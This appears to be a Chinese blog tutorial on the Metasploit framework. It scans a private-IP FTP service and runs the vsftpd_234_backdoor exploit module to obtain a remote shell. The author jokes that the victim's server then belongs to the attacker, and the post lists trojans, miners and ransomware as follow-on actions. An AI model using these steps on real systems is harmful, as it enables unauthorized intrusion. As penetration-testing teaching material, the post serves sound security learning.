渗透武器库---Metasploit渗透测试框架实战

2023-11-02 11:59

本文主要是介绍渗透武器库---Metasploit渗透测试框架实战,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

点击"仙网攻城狮”关注我们哦~

不当想研发的渗透人不是好运维

让我们每天进步一点点

简介

Metasploit渗透测试框架在kali系统中可以直接使用,不需要去搭建繁杂的各种环境。

          kali系统安装方法查看:

渗透利器--最新版kali2020系统安装(超详细)

Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具

实战

运行Metasploit

1.废话不多说,运行kali,打开命令行输入msfconsole进入Metasploit渗透框架中。

2.输入show +模块名查看各个模块

辅助模块(auxiliary)
扫描、发掘漏洞、探测信息等工作渗透攻击模块(exploits)
利用已发现的漏洞对远程目标系统进行攻击,植入并运行攻击载荷,从而控制目标系统攻击载荷模块(payloads)
在渗透攻击触发漏洞后劫持程序执行流程并跳入的这段代码。本模块的作用是消除安全工作人员开发这部分代码的代价空指令模块(nops)
为了避免攻击载荷在执行的过程中出现随机地址和返回地址错误而在执行shellcode之前加入一些空指令,使得在执行shellcode时有一个较大的安全着陆区。编码器模块(encoders)
将攻击载荷进行编码(类似与加密),让避免操作系统和杀毒软件辨认出来但是会让载荷的体积变大,这个时候需要选择传输器和传输体配对成的攻击载荷来下载目标载荷并且运行。后渗透攻击模块(post)
先拿下一个无关紧要的目标(A)来攻击真正的目标(B),A来执行真正的渗透攻击。


3.例如我想看ftp是什么版本,使用use auxiliary/scanner/ftp/ftp_version切换辅助模块进行扫描来查看ftp服务版本。

set rhosts 192.168.88.45

--配置目标ip地址也可以配置域名

set rport 21

--配置目标端口

run

--运行扫描

图中可以看到ftp服务版本vsFTPd 2.3.4

4.使用search vsFTPd 2.3.4来进行搜索当前版本是否有相关漏洞,图中可以看到匹配到了一个相关漏洞并列出了一个exp(漏洞利用模块)

5.切换到exp漏洞利用模块进行攻击,

use exploit/unix/ftp/vsftpd_234_backdoor  

--切换到攻击模块

set rhosts 192.168.88.45

--配置目标

run

--运行攻击入侵目标

上图可以看到已经建立了交互式shell可以执行任意命令,攻击成功后你的服务器就相当于归我了嘿嘿!--想干啥干啥。

6.攻击成功后可以做什么?

在几年前大家安全意识薄弱的时候并没有太在意网络安全,给大家普及一下安全知识,你的电脑被入侵后骇客可以做什么。

A.植入木马程序,你在网上转账时记录你的用户名密码,进行网络盗窃


B.植入挖矿程序,耗完你电脑CPU和GPU进行挖矿,造成电脑卡顿无法上网等。

C.植入病毒程序,造成电脑蓝屏、无法使用等。

D.植入勒索软件,加密你的工作资料并向你索要赎金。

往期内容

Android渗透工具drozer安装与使用

渗透利器--最新版kali2020系统安装(超详细)

带你进入CTF的世界(比较枯燥又必须要了解/(ㄒoㄒ)/)

100 个网络基础知识,看完成半个网络高手!

更多资讯长按二维码 关注我们

   专业的信息安全团队,给你最安全的保障。定期推送黑客知识和网络安全知识文章,让各位了解黑客的世界,学习黑客知识,普及安全知识,提高安全意识。

觉得不错点个“赞”呗

这篇关于渗透武器库---Metasploit渗透测试框架实战的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/330449

相关文章

Nginx设置连接超时并进行测试的方法步骤

《Nginx设置连接超时并进行测试的方法步骤》在高并发场景下,如果客户端与服务器的连接长时间未响应,会占用大量的系统资源,影响其他正常请求的处理效率,为了解决这个问题,可以通过设置Nginx的连接... 目录设置连接超时目的操作步骤测试连接超时测试方法:总结:设置连接超时目的设置客户端与服务器之间的连接

使用 sql-research-assistant进行 SQL 数据库研究的实战指南(代码实现演示)

《使用sql-research-assistant进行SQL数据库研究的实战指南(代码实现演示)》本文介绍了sql-research-assistant工具,该工具基于LangChain框架,集... 目录技术背景介绍核心原理解析代码实现演示安装和配置项目集成LangSmith 配置(可选)启动服务应用场景

修改若依框架Token的过期时间问题

《修改若依框架Token的过期时间问题》本文介绍了如何修改若依框架中Token的过期时间,通过修改`application.yml`文件中的配置来实现,默认单位为分钟,希望此经验对大家有所帮助,也欢迎... 目录修改若依框架Token的过期时间修改Token的过期时间关闭Token的过期时js间总结修改若依

在Java中使用ModelMapper简化Shapefile属性转JavaBean实战过程

《在Java中使用ModelMapper简化Shapefile属性转JavaBean实战过程》本文介绍了在Java中使用ModelMapper库简化Shapefile属性转JavaBean的过程,对比... 目录前言一、原始的处理办法1、使用Set方法来转换2、使用构造方法转换二、基于ModelMapper

Java实战之自助进行多张图片合成拼接

《Java实战之自助进行多张图片合成拼接》在当今数字化时代,图像处理技术在各个领域都发挥着至关重要的作用,本文为大家详细介绍了如何使用Java实现多张图片合成拼接,需要的可以了解下... 目录前言一、图片合成需求描述二、图片合成设计与实现1、编程语言2、基础数据准备3、图片合成流程4、图片合成实现三、总结前

nginx-rtmp-module构建流媒体直播服务器实战指南

《nginx-rtmp-module构建流媒体直播服务器实战指南》本文主要介绍了nginx-rtmp-module构建流媒体直播服务器实战指南,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有... 目录1. RTMP协议介绍与应用RTMP协议的原理RTMP协议的应用RTMP与现代流媒体技术的关系2

C语言小项目实战之通讯录功能

《C语言小项目实战之通讯录功能》:本文主要介绍如何设计和实现一个简单的通讯录管理系统,包括联系人信息的存储、增加、删除、查找、修改和排序等功能,文中通过代码介绍的非常详细,需要的朋友可以参考下... 目录功能介绍:添加联系人模块显示联系人模块删除联系人模块查找联系人模块修改联系人模块排序联系人模块源代码如下

Golang操作DuckDB实战案例分享

《Golang操作DuckDB实战案例分享》DuckDB是一个嵌入式SQL数据库引擎,它与众所周知的SQLite非常相似,但它是为olap风格的工作负载设计的,DuckDB支持各种数据类型和SQL特性... 目录DuckDB的主要优点环境准备初始化表和数据查询单行或多行错误处理和事务完整代码最后总结Duck

Python中的随机森林算法与实战

《Python中的随机森林算法与实战》本文详细介绍了随机森林算法,包括其原理、实现步骤、分类和回归案例,并讨论了其优点和缺点,通过面向对象编程实现了一个简单的随机森林模型,并应用于鸢尾花分类和波士顿房... 目录1、随机森林算法概述2、随机森林的原理3、实现步骤4、分类案例:使用随机森林预测鸢尾花品种4.1

Golang使用minio替代文件系统的实战教程

《Golang使用minio替代文件系统的实战教程》本文讨论项目开发中直接文件系统的限制或不足,接着介绍Minio对象存储的优势,同时给出Golang的实际示例代码,包括初始化客户端、读取minio对... 目录文件系统 vs Minio文件系统不足:对象存储:miniogolang连接Minio配置Min